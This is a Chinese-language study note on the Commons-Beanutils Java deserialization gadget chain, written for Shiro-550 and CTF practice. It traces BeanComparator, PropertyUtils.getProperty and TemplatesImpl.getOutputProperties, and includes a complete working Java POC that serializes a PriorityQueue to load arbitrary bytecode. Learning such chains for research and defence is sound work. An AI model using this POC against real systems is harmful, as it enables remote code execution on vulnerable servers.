CommonBeanutils

摘要:这是一条摘要

写在文章前的话
由于Shrio-550要利用CB链才能RCE,加上PolarCTF里面有一道CB链的题一直想写,所以先来学CB了,但是CB链白日梦组长没有开课将,所以这里是看
https://www.cnblogs.com/1vxyz/p/17588722.html
这篇文章学习的,文章中有诸多借鉴,文章风格可能与先前几篇有点区别


什么是CommonBeanutils与JavaBean?

CommonsBeanutils 是应用于 javabean 的工具,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法
bean的中文是豆子,可以理解成一个“像豆子一样的小东西”,因为是一个一个独立的“对象”
JavaBean 是一种Java语言写成的可重用组件,是一个“类”,且需满足:

  1. public
  2. Constructor是无参的
  3. 类中有private属性,也对应的有get、set方法去更改这些属性的值(不一定非叫get,也可以是getValue、setValue这样的)
  4. 对于boolean类型的成员变量,“is”等效于get与set
    其中get、set方法在Java中叫做getter与setter,只有getter的属性为只读属性,相应的也有只写、可读可写属性

漏洞点:

漏洞出在Common-Beanutils的PropertyUtils类的getProperty方法,源码如下:

1
2
3
4
5
6
7
public static Object getProperty(Object bean, String name)  
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {

return (PropertyUtilsBean.getInstance().getProperty(bean, name));

}

逻辑是,找到Object类中名为name的属性,接着去找对应属性的getter方法,最后通过反射区调用这个getter
也就是如果我们控制了Object和name,就可以执行Object下的任意无参getter方法,也就是说找一个有问题的无参getter即可实现恶意利用,那就找getProperty方法的调用

找到BeanComparator的compare方法,这里想到之前CC链也有一个Comparator,思路差不多的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public int compare( Object o1, Object o2 ) {  

if ( property == null ) {
// compare the actual objects
return comparator.compare( o1, o2 );
}

try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}

其中property的定义:

1
private String property;

修改值的操作只有一处:

1
2
3
public void setProperty( String property ) {  
this.property = property;
}

这里就是一个JavaBean对象的setter
compare方法这里面写的是获取o1的property、o2的property,和之前很类似啊,这里o1,o2设置为预设的TemplatesImpl对象就行,主要问题在于property对象应该通过setter赋一个什么值,这里注意到先前在CC链里面,想要加载恶意类的链:

  1. defineClass()
  2. defineTransletClasses()
  3. getTransletInstance()
  4. newTransformer()
    想要调用newTransformer方法,先前我们找到的调用是:

我们之前是使用TraXFilter这个类的构造方法,这里我们注意到在TemplatesImpl类自己中有一个getOutPutProperties方法,这个方法非常像一个getter方法

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {  
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

在TemplatesImpl.java搜索outputproperties:

所以可以认定getOutputProperties方法就是_outputproperties属性的getter方法
这是因为JavaBean Getter方法规范如下:

1
2
// 标准getter模式
public [属性类型] get[属性名首字母大写]()

再添上CC2的PriorityQueue利用部分,整个链如下:

  1. PriorityQueue.readObject
  2. BeanComparator.compare
  3. PropertyUtils.getProperty
  4. TemplatesImpl.getOutputProperties
  5. TemplatesImpl.newTransformer
  6. TemplatesImpl.getTransletInstance
  7. TemplatesImpl.defineTransletClasses
  8. TemplatesImpl.defineClass

POC编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import......

public class CBTest {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();

Class tc = templatesImpl.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templatesImpl, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users/hongm/Desktop/Java_Unser/target/classes/org/example/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templatesImpl, codes);

// Field tfactoryField = tc.getDeclaredField("_tfactory");
// tfactoryField.setAccessible(true);
// tfactoryField.set(templatesImpl, new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(beanComparator);

priorityQueue.add(1);
priorityQueue.add(2);

Class pc = priorityQueue.getClass();
Field queueField = pc.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queue = (Object[]) queueField.get(priorityQueue);
queue[0] = templatesImpl;
queue[1] = templatesImpl;


Class c = beanComparator.getClass();
Field propertyField = c.getDeclaredField("property");
propertyField.setAccessible(true);
propertyField.set(beanComparator, "outputProperties");

serialize(priorityQueue);
deserialize("ser.bin");

}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);

}
public static Object deserialize(String Filename) throws Exception, ClassNotFoundException, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;

}
}

与CC2的区别:

注意到我们这边编写是略微与CC2中对PriorityQueue的处理不同,区别在于:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
priorityQueue.add(1);  
priorityQueue.add(2);

Class pc = priorityQueue.getClass();
Field queueField = pc.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queue = (Object[]) queueField.get(priorityQueue);
queue[0] = templatesImpl;
queue[1] = templatesImpl;


Class c = beanComparator.getClass();
Field propertyField = c.getDeclaredField("property");
propertyField.setAccessible(true);
propertyField.set(beanComparator, "outputProperties");

这一段,为什么这里add的参数是1和2而不是templatesImpl了呢,因为在BeanComaprator的comapre里面:

1
2
3
4
5
try {  
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}

这里的comparator是BeanComparator内部的,默认是ComparableComparator

ComparableComparator的compare方法:

1
2
3
public int compare(Object obj1, Object obj2) {  
return ((Comparable)obj1).compareTo(obj2);
}

这里强制将obj1转换为Comparable,但是TemplatesImpl没有实现java.lang.Comparable接口
所以得先往PriorityQueue里面填一些可以被比较的值,再通过反射去进行修改